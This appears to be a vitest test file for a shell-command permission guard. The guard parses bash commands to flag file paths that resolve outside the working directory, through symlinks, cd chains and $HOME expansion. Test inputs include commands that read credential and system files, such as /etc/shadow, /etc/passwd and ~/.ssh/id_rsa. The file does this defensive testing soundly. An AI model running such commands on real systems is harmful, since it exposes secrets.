mirror of
https://bitbucket.org/siakitem/my-pi.git
synced 2026-08-28 08:35:57 +00:00
1396 lines
53 KiB
TypeScript
1396 lines
53 KiB
TypeScript
import { homedir } from "node:os";
|
|
import { join } from "node:path";
|
|
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
|
|
|
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
|
|
// Default is identity so all existing lexical tests are unaffected.
|
|
// Every other fs binding passes through to the real module, so filesystem-
|
|
// backed helpers (lstatSync, mkdtempSync, symlinkSync, …) stay usable here.
|
|
const realpathSync = vi.hoisted(() =>
|
|
vi.fn<(path: string) => string>((p) => p),
|
|
);
|
|
vi.mock("node:fs", async () => {
|
|
const actual = await vi.importActual<typeof import("node:fs")>("node:fs");
|
|
return {
|
|
...actual,
|
|
realpathSync,
|
|
default: { ...actual, realpathSync },
|
|
};
|
|
});
|
|
|
|
import { BashProgram } from "#src/access-intent/bash/program";
|
|
import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor";
|
|
import { PathNormalizer } from "#src/path-normalizer";
|
|
import { createTmpFixture } from "#test/helpers/tmp-fixture";
|
|
|
|
describe("BashProgram", () => {
|
|
describe("pathRuleCandidates", () => {
|
|
const cwd = "/projects/my-app";
|
|
const normalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
cwd,
|
|
);
|
|
|
|
beforeEach(() => {
|
|
realpathSync.mockReset();
|
|
realpathSync.mockImplementation((p: string) => p);
|
|
});
|
|
|
|
describe("operands of nested commands hosted in a redirect (#741)", () => {
|
|
it("projects the operand of a redirect-hosted command", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > $(cat /etc/shadow)",
|
|
normalizer,
|
|
);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
"/etc/shadow",
|
|
]);
|
|
});
|
|
|
|
it("does not promote a bare inner token that names nothing", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > $(rm nonexistent-file)",
|
|
normalizer,
|
|
);
|
|
expect(program.pathRuleCandidates()).toEqual([]);
|
|
});
|
|
});
|
|
|
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
const candidates = program.pathRuleCandidates();
|
|
expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
|
|
expect(candidates[0].path.matchValues()).toEqual([
|
|
"/projects/my-app/src/foo.ts",
|
|
"src/foo.ts",
|
|
]);
|
|
expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
|
|
});
|
|
|
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cd nested && cat src/file.txt",
|
|
normalizer,
|
|
);
|
|
const fileCandidate = program
|
|
.pathRuleCandidates()
|
|
.find((candidate) => candidate.token === "src/file.txt");
|
|
expect(fileCandidate?.path.matchValues()).toEqual([
|
|
"/projects/my-app/nested/src/file.txt",
|
|
"nested/src/file.txt",
|
|
"src/file.txt",
|
|
]);
|
|
expect(fileCandidate?.path.value()).toBe(
|
|
"/projects/my-app/nested/src/file.txt",
|
|
);
|
|
});
|
|
|
|
it("adds the canonical alias for a symlinked token (#486)", async () => {
|
|
// /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
|
|
realpathSync.mockImplementation((p: string) =>
|
|
p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
|
|
);
|
|
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
const candidate = program.pathRuleCandidates()[0];
|
|
expect(candidate.path.matchValues()).toEqual([
|
|
"/projects/my-app/src/foo.ts",
|
|
"src/foo.ts",
|
|
"/vault/foo.ts",
|
|
]);
|
|
});
|
|
|
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat src/foo.ts',
|
|
normalizer,
|
|
);
|
|
const fileCandidate = program
|
|
.pathRuleCandidates()
|
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
expect(fileCandidate?.path.value()).toBe("src/foo.ts");
|
|
});
|
|
|
|
it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
|
|
// A canonical alias here would resolve against the wrong (unknown) base.
|
|
realpathSync.mockImplementation(() => "/somewhere/else");
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat src/foo.ts',
|
|
normalizer,
|
|
);
|
|
const fileCandidate = program
|
|
.pathRuleCandidates()
|
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
expect(fileCandidate?.path.boundaryValue()).toBe("");
|
|
});
|
|
|
|
describe("existence-probe bare-token promotion (#645)", () => {
|
|
// Candidacy comes from the filesystem, so these run against a real
|
|
// tmpdir cwd with real lstat/realpath rather than the fake cwd above.
|
|
const tmp = createTmpFixture();
|
|
let root: string;
|
|
let probeNormalizer: PathNormalizer;
|
|
|
|
beforeEach(async () => {
|
|
const actual =
|
|
await vi.importActual<typeof import("node:fs")>("node:fs");
|
|
realpathSync.mockImplementation(actual.realpathSync);
|
|
// Canonicalize the root: on macOS the tmpdir is itself a symlink, so a
|
|
// lexical root would disagree with every canonical form derived below.
|
|
root = actual.realpathSync(tmp.dir("pi-perm-bash-"));
|
|
probeNormalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
root,
|
|
);
|
|
});
|
|
|
|
afterEach(() => {
|
|
tmp.cleanup();
|
|
});
|
|
|
|
it("promotes a bare token naming an existing file", async () => {
|
|
tmp.file(root, "id_rsa", "key");
|
|
const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
|
|
const candidates = program.pathRuleCandidates();
|
|
expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
|
|
expect(candidates[0].path.matchValues()).toEqual([
|
|
join(root, "id_rsa"),
|
|
"id_rsa",
|
|
]);
|
|
});
|
|
|
|
it("drops a bare token naming nothing — `git status` stays silent (#509)", async () => {
|
|
const program = await BashProgram.parse("git status", probeNormalizer);
|
|
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
});
|
|
|
|
it("drops every bare word of a command referencing no real file", async () => {
|
|
const program = await BashProgram.parse(
|
|
"npm run build && git checkout main",
|
|
probeNormalizer,
|
|
);
|
|
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
});
|
|
|
|
it("promotes a bare symlink and carries its target as a match value", async () => {
|
|
// The issue's second repro shape: a_sym -> .some.secret, where the rule
|
|
// names the target. Raw-token matching could never see this.
|
|
const secret = tmp.file(root, ".some.secret", "s3cret");
|
|
tmp.symlink(root, "a_sym", secret);
|
|
const program = await BashProgram.parse("cat a_sym", probeNormalizer);
|
|
const candidate = program
|
|
.pathRuleCandidates()
|
|
.find((c) => c.token === "a_sym");
|
|
expect(candidate?.path.matchValues()).toContain(
|
|
join(root, ".some.secret"),
|
|
);
|
|
});
|
|
|
|
it("promotes a bare token naming a directory", async () => {
|
|
tmp.subdir(root, "vault");
|
|
const program = await BashProgram.parse("ls vault", probeNormalizer);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
"vault",
|
|
]);
|
|
});
|
|
|
|
it("promotes a dangling symlink — the link is the named operand", async () => {
|
|
tmp.symlink(root, "dangling", join(root, "gone"));
|
|
const program = await BashProgram.parse(
|
|
"cat dangling",
|
|
probeNormalizer,
|
|
);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
"dangling",
|
|
]);
|
|
});
|
|
|
|
it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
|
|
tmp.file(root, "id_rsa", "key");
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat id_rsa',
|
|
probeNormalizer,
|
|
);
|
|
// An unknown base cannot be probed against a known directory, so the
|
|
// token stays unpromoted rather than resolving against the wrong cwd.
|
|
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not double-promote a token the shape gate already accepts", async () => {
|
|
tmp.file(root, "id_rsa", "key");
|
|
const program = await BashProgram.parse(
|
|
"cat ./id_rsa",
|
|
probeNormalizer,
|
|
);
|
|
expect(program.pathRuleCandidates()).toHaveLength(1);
|
|
});
|
|
|
|
it("probes a bare token against the effective directory after a literal cd", async () => {
|
|
const nested = tmp.subdir(root, "nested");
|
|
tmp.file(nested, "inner.txt", "x");
|
|
const program = await BashProgram.parse(
|
|
"cd nested && cat inner.txt",
|
|
probeNormalizer,
|
|
);
|
|
const candidate = program
|
|
.pathRuleCandidates()
|
|
.find((c) => c.token === "inner.txt");
|
|
expect(candidate?.path.matchValues()).toContain(
|
|
join(root, "nested", "inner.txt"),
|
|
);
|
|
});
|
|
|
|
it("consults no policy — promotion needs no matcher argument", async () => {
|
|
tmp.file(root, "id_rsa", "key");
|
|
const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
"id_rsa",
|
|
]);
|
|
});
|
|
});
|
|
|
|
describe("resolved shell expansions (#694)", () => {
|
|
it("resolves ${HOME}/… instead of fabricating a cwd-relative path", async () => {
|
|
const program = await BashProgram.parse(
|
|
'ls "${HOME}/somewhere"',
|
|
normalizer,
|
|
);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
join(homedir(), "somewhere"),
|
|
]);
|
|
});
|
|
|
|
it("keeps a $PWD token literal-only after a non-literal cd", async () => {
|
|
// `$PWD` becomes the base-relative `.`, so it inherits the #393
|
|
// unknown-base treatment rather than resolving against the wrong
|
|
// directory — and never fabricates `<cwd>/$PWD/x`.
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && ls "$PWD/x"',
|
|
normalizer,
|
|
);
|
|
const candidate = program
|
|
.pathRuleCandidates()
|
|
.find(({ token }) => token === "./x");
|
|
expect(candidate?.path.matchValues()).toEqual(["./x"]);
|
|
expect(candidate?.path.boundaryValue()).toBe("");
|
|
});
|
|
|
|
it("leaves a variable outside the resolvable set unresolved", async () => {
|
|
const program = await BashProgram.parse('ls "$CONFIG/x"', normalizer);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
"$CONFIG/x",
|
|
]);
|
|
});
|
|
});
|
|
});
|
|
|
|
describe("externalPaths", () => {
|
|
const cwd = "/projects/my-app";
|
|
const normalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
cwd,
|
|
);
|
|
|
|
beforeEach(() => {
|
|
realpathSync.mockReset();
|
|
realpathSync.mockImplementation((p: string) => p);
|
|
});
|
|
|
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
const program = await BashProgram.parse("cat /etc/hosts", normalizer);
|
|
// Subset matcher: the path is normalized before comparison.
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/etc/hosts",
|
|
);
|
|
});
|
|
|
|
describe("operands of nested commands hosted in a redirect (#741)", () => {
|
|
it.each([
|
|
["a redirect destination", "echo hi > $(cat /etc/shadow)"],
|
|
["an appending destination", "echo hi >> $(cat /etc/shadow)"],
|
|
["an input process substitution", "cat < <(cat /etc/shadow)"],
|
|
["a concatenated destination", "echo hi > ${DIR}/$(cat /etc/shadow)"],
|
|
])("projects an operand hosted in %s", async (_label, command) => {
|
|
const program = await BashProgram.parse(command, normalizer);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/etc/shadow",
|
|
);
|
|
});
|
|
|
|
it("still projects a plain redirect destination", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > /etc/passwd",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/etc/passwd",
|
|
);
|
|
});
|
|
});
|
|
|
|
describe("bare tokens escaping the tree via symlink (#645)", () => {
|
|
const tmp = createTmpFixture();
|
|
let root: string;
|
|
let probeNormalizer: PathNormalizer;
|
|
// Canonical temp dir: on macOS the tmpdir is itself a symlink, so a
|
|
// lexical path would disagree with every canonical form under assertion.
|
|
let canonicalDir: (prefix: string) => string;
|
|
|
|
beforeEach(async () => {
|
|
const actual =
|
|
await vi.importActual<typeof import("node:fs")>("node:fs");
|
|
realpathSync.mockImplementation(actual.realpathSync);
|
|
canonicalDir = (prefix) => actual.realpathSync(tmp.dir(prefix));
|
|
root = canonicalDir("pi-perm-ext-cwd-");
|
|
probeNormalizer = new PathNormalizer(
|
|
pathFlavorForPlatform(process.platform),
|
|
root,
|
|
);
|
|
});
|
|
|
|
afterEach(() => {
|
|
tmp.cleanup();
|
|
});
|
|
|
|
it("flags an in-project bare symlink whose target is outside cwd", async () => {
|
|
// The issue's headline repro:
|
|
// printf 'test' > /tmp/pi-permission-test-secret
|
|
// ln -s /tmp/pi-permission-test-secret outside-link
|
|
// cat outside-link
|
|
const outsideRoot = canonicalDir("pi-perm-ext-target-");
|
|
const secret = tmp.file(outsideRoot, "pi-permission-test-secret", "s");
|
|
tmp.symlink(root, "outside-link", secret);
|
|
|
|
const program = await BashProgram.parse(
|
|
"cat outside-link",
|
|
probeNormalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
|
|
secret,
|
|
);
|
|
});
|
|
|
|
it("does not flag a bare token resolving inside cwd", async () => {
|
|
tmp.file(root, "inside.txt", "x");
|
|
const program = await BashProgram.parse(
|
|
"cat inside.txt",
|
|
probeNormalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not flag a bare word naming nothing", async () => {
|
|
const program = await BashProgram.parse("git status", probeNormalizer);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("flags a bare symlink to an outside directory", async () => {
|
|
const outsideRoot = canonicalDir("pi-perm-ext-dir-");
|
|
tmp.symlink(root, "vault", outsideRoot);
|
|
const program = await BashProgram.parse("ls vault", probeNormalizer);
|
|
expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
|
|
outsideRoot,
|
|
);
|
|
});
|
|
});
|
|
|
|
it("flags a path embedded in a long option (#645)", async () => {
|
|
// The issue's second repro: `grep --file=…` under an allowing `grep *`
|
|
// rule. The flag token is rejected by the shape prelude, so the value is
|
|
// split out at collection and classified on its own.
|
|
const program = await BashProgram.parse(
|
|
"grep --file=/tmp/pi-permission-patterns target",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/tmp/pi-permission-patterns",
|
|
);
|
|
});
|
|
|
|
it("excludes paths within cwd", async () => {
|
|
const program = await BashProgram.parse("cat src/index.ts", normalizer);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
describe("win32 projection (injected platform, no vi.mock node:path)", () => {
|
|
const winNormalizer = new PathNormalizer(
|
|
win32PathFlavor,
|
|
"C:\\Projects\\App",
|
|
);
|
|
|
|
it("expands $HOME before any platform-specific token handling", async () => {
|
|
// Expansion happens at collection, upstream of the flavor, so the
|
|
// token the projection carries is the expanded path on every host.
|
|
const program = await BashProgram.parse('ls "$HOME/x"', winNormalizer);
|
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
`${homedir()}/x`,
|
|
]);
|
|
});
|
|
|
|
it("keeps a non-mount POSIX absolute literal (Git Bash semantics)", async () => {
|
|
// On win32, Pi core runs Git Bash: /etc is an MSYS install-root path,
|
|
// not C:\etc, so it is matched and displayed as typed (#533).
|
|
const program = await BashProgram.parse(
|
|
"cat /etc/hosts",
|
|
winNormalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
"/etc/hosts",
|
|
]);
|
|
});
|
|
|
|
it("keeps a non-mount POSIX absolute as a literal rule candidate", async () => {
|
|
const program = await BashProgram.parse("cat /tmp/foo", winNormalizer);
|
|
const candidate = program.pathRuleCandidates()[0];
|
|
expect(candidate.path.matchValues()).toEqual(["/tmp/foo"]);
|
|
});
|
|
|
|
it("folds a drive-mount cd so a following traversal resolves under it", async () => {
|
|
// cd /c/Other → base C:\Other; ../x resolves to C:\x (not C:\c\x).
|
|
// The cd argument itself is also collected and translated (c:\other).
|
|
const program = await BashProgram.parse(
|
|
"cd /c/Other && cat ../x",
|
|
winNormalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
"c:\\other",
|
|
"c:\\x",
|
|
]);
|
|
});
|
|
|
|
it("degrades a non-mount POSIX absolute cd to a conservative unknown base", async () => {
|
|
// Git Bash's /tmp is install-dependent, so `cd /tmp` makes the base
|
|
// unresolvable; a following traversal is flagged conservatively against
|
|
// cwd for display, and /tmp itself is a literal external path (#533).
|
|
const program = await BashProgram.parse(
|
|
"cd /tmp && cat ../x",
|
|
winNormalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
"/tmp",
|
|
"c:\\projects\\x",
|
|
]);
|
|
});
|
|
|
|
it("flags a ..-traversal escaping cwd under win32 rules", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cat ../sibling/x",
|
|
winNormalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
"c:\\projects\\sibling\\x",
|
|
]);
|
|
});
|
|
|
|
it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
|
|
const program = await BashProgram.parse(
|
|
"cd sub && cat ../x",
|
|
winNormalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("recognizes a backslash-relative token as a path rule candidate (#520)", async () => {
|
|
const program = await BashProgram.parse("cat dir\\file", winNormalizer);
|
|
const candidate = program.pathRuleCandidates()[0];
|
|
expect(candidate.token).toBe("dir\\file");
|
|
});
|
|
|
|
it("resolves a backslash-relative token to the same win32 aliases its forward-slash equivalent matches (#520)", async () => {
|
|
const backslashProgram = await BashProgram.parse(
|
|
"cat dir\\file",
|
|
winNormalizer,
|
|
);
|
|
const forwardSlashProgram = await BashProgram.parse(
|
|
"cat dir/file",
|
|
winNormalizer,
|
|
);
|
|
const backslashAliases = backslashProgram
|
|
.pathRuleCandidates()[0]
|
|
.path.matchValues();
|
|
// The backslash token resolves to the canonical win32 path plus its
|
|
// win32-normalized relative alias.
|
|
expect(backslashAliases).toEqual([
|
|
"c:\\projects\\app\\dir\\file",
|
|
"dir\\file",
|
|
]);
|
|
// The forward-slash equivalent carries the same aliases plus a redundant
|
|
// raw "dir/file" that folds to "dir\file" under win32 separator folding,
|
|
// so every path rule matches both forms identically (#520).
|
|
const forwardSlashAliases = forwardSlashProgram
|
|
.pathRuleCandidates()[0]
|
|
.path.matchValues();
|
|
for (const alias of backslashAliases) {
|
|
expect(forwardSlashAliases).toContain(alias);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe("posix backslash-relative tokens stay bare (#520)", () => {
|
|
it("does not treat a backslash-relative token as a path rule candidate on posix", async () => {
|
|
const program = await BashProgram.parse("cat dir\\file", normalizer);
|
|
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
});
|
|
});
|
|
|
|
describe("resolved shell expansions (#694)", () => {
|
|
it("flags $HOME/… whose target does not exist", async () => {
|
|
// The token expands to an absolute path before classification, so the
|
|
// strict gate accepts it by shape — no longer dependent on the #645
|
|
// existence probe rescuing it.
|
|
const program = await BashProgram.parse(
|
|
'touch "$HOME/pi-permission-system-repro-new"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
join(homedir(), "pi-permission-system-repro-new"),
|
|
]);
|
|
});
|
|
|
|
it("flags a bare ${HOME}", async () => {
|
|
const program = await BashProgram.parse('ls "${HOME}"', normalizer);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
homedir(),
|
|
]);
|
|
});
|
|
|
|
it("flags ${HOME}/…", async () => {
|
|
const program = await BashProgram.parse(
|
|
'ls "${HOME}/somewhere"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
join(homedir(), "somewhere"),
|
|
]);
|
|
});
|
|
|
|
it("flags a $HOME redirect destination", async () => {
|
|
const program = await BashProgram.parse(
|
|
"echo hi > $HOME/out.txt",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
join(homedir(), "out.txt"),
|
|
]);
|
|
});
|
|
|
|
it("yields exactly one entry for an existing $HOME target", async () => {
|
|
// Previously the existence probe promoted this token; now the strict
|
|
// shape gate accepts it. It must not be collected through both.
|
|
const program = await BashProgram.parse('ls "$HOME"', normalizer);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
homedir(),
|
|
]);
|
|
});
|
|
|
|
it("gives $HOME/… and its literal spelling the same projection", async () => {
|
|
const expanded = await BashProgram.parse(
|
|
`ls "${join(homedir(), "docs")}"`,
|
|
normalizer,
|
|
);
|
|
const spelled = await BashProgram.parse('ls "$HOME/docs"', normalizer);
|
|
expect(spelled.externalPaths().map((p) => p.value())).toEqual(
|
|
expanded.externalPaths().map((p) => p.value()),
|
|
);
|
|
});
|
|
|
|
it("resolves $HOME/… independently of an unknown effective base", async () => {
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat "$HOME/.ssh/id_rsa"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
join(homedir(), ".ssh/id_rsa"),
|
|
]);
|
|
});
|
|
|
|
it("resolves $PWD against the cd-folded base", async () => {
|
|
// `/etc` is flagged by the `cd` argument token itself, as it is for any
|
|
// absolute `cd` target; `$PWD/passwd` contributes the second entry.
|
|
const program = await BashProgram.parse(
|
|
'cd /etc && ls "$PWD/passwd"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
"/etc",
|
|
"/etc/passwd",
|
|
]);
|
|
});
|
|
|
|
it("does not flag a $PWD token that stays inside the working directory", async () => {
|
|
const program = await BashProgram.parse('ls "$PWD/src"', normalizer);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not resolve an expansion carrying an operator", async () => {
|
|
const program = await BashProgram.parse(
|
|
'ls "${HOME:-/tmp}/x"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not resolve a variable through an assignment (accepted residual)", async () => {
|
|
// ADR 0009 keeps assignment-then-reference an accepted residual; this
|
|
// pins the declined behavior so a future change is a deliberate one.
|
|
const program = await BashProgram.parse(
|
|
'CURRENT="$HOME"; ls "$CURRENT"',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
});
|
|
|
|
describe("effective working directory projection", () => {
|
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
const program = await BashProgram.parse(
|
|
"cd a && cd b && cat ../c",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
// Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
|
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
const program = await BashProgram.parse(
|
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/etc/passwd",
|
|
);
|
|
});
|
|
|
|
it("folds a cd that is not the first command", async () => {
|
|
// The single-base model ignored a cd that was not first; now `cd a`
|
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
const program = await BashProgram.parse(
|
|
"mkdir d && cd a && cat ../b",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not fold a backgrounded cd", async () => {
|
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
// directory; ../b resolves against cwd and escapes.
|
|
const program = await BashProgram.parse("cd a & cat ../b", normalizer);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/b",
|
|
);
|
|
});
|
|
|
|
it("does not fold a cd inside a pipeline", async () => {
|
|
// Pipeline members run in subshells; the cd must not leak.
|
|
const program = await BashProgram.parse(
|
|
"cd nested | cat ../b",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/b",
|
|
);
|
|
});
|
|
|
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
const program = await BashProgram.parse(
|
|
"( cd sub && cat ../x )",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not leak a subshell cd to following commands", async () => {
|
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
const program = await BashProgram.parse(
|
|
"( cd sub ) && cat ../y",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/y",
|
|
);
|
|
});
|
|
|
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
const program = await BashProgram.parse(
|
|
"{ cd sub; cat ../x; }",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
const program = await BashProgram.parse(
|
|
"{ cd sub; } && cat ../x",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
// Interior cd folding inside substitutions is deferred: the interior
|
|
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
const program = await BashProgram.parse(
|
|
"echo $(cd q && cat ../r)",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/r",
|
|
);
|
|
});
|
|
|
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
// so it is flagged (least-privilege).
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat ../x',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/x",
|
|
);
|
|
});
|
|
|
|
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
// Conservative cost: src/../within.txt resolves inside cwd but is still
|
|
// flagged because the effective dir is unknown.
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat src/../within.txt',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/my-app/within.txt",
|
|
);
|
|
});
|
|
|
|
it("still resolves an absolute path normally after a non-literal cd", async () => {
|
|
// Absolute paths are base-independent; one inside cwd is not flagged
|
|
// even when the effective dir is unknown.
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
const program = await BashProgram.parse("cd - && cat ../x", normalizer);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/x",
|
|
);
|
|
});
|
|
|
|
it("recovers a known base when a later cd is absolute", async () => {
|
|
// cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
|
|
// ../x resolves to cwd and is not flagged.
|
|
const program = await BashProgram.parse(
|
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
// tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
|
|
// `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
|
|
// inside a `pipeline` node. Bash precedence (`|` binds tighter than
|
|
// `&&`) makes `cd a` current-shell, so the fold must persist past the
|
|
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
const program = await BashProgram.parse(
|
|
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
// The issue reproduction: the fold from `cd a/b` survives the
|
|
// redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
|
|
// cwd instead of escaping one level above.
|
|
const program = await BashProgram.parse(
|
|
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths()).toHaveLength(0);
|
|
});
|
|
|
|
it("does not fold the terminal piped command of the first stage", async () => {
|
|
// Fail-closed: `cd b` is the terminal command of the first stage, i.e.
|
|
// the real pipe stage (a subshell), so it must NOT fold. With the
|
|
// correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
|
|
// wrongly folded, the base would be cwd/a/b and ../../x would stay
|
|
// inside — a fail-open regression this test pins.
|
|
const program = await BashProgram.parse(
|
|
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
normalizer,
|
|
);
|
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
"/projects/x",
|
|
);
|
|
});
|
|
|
|
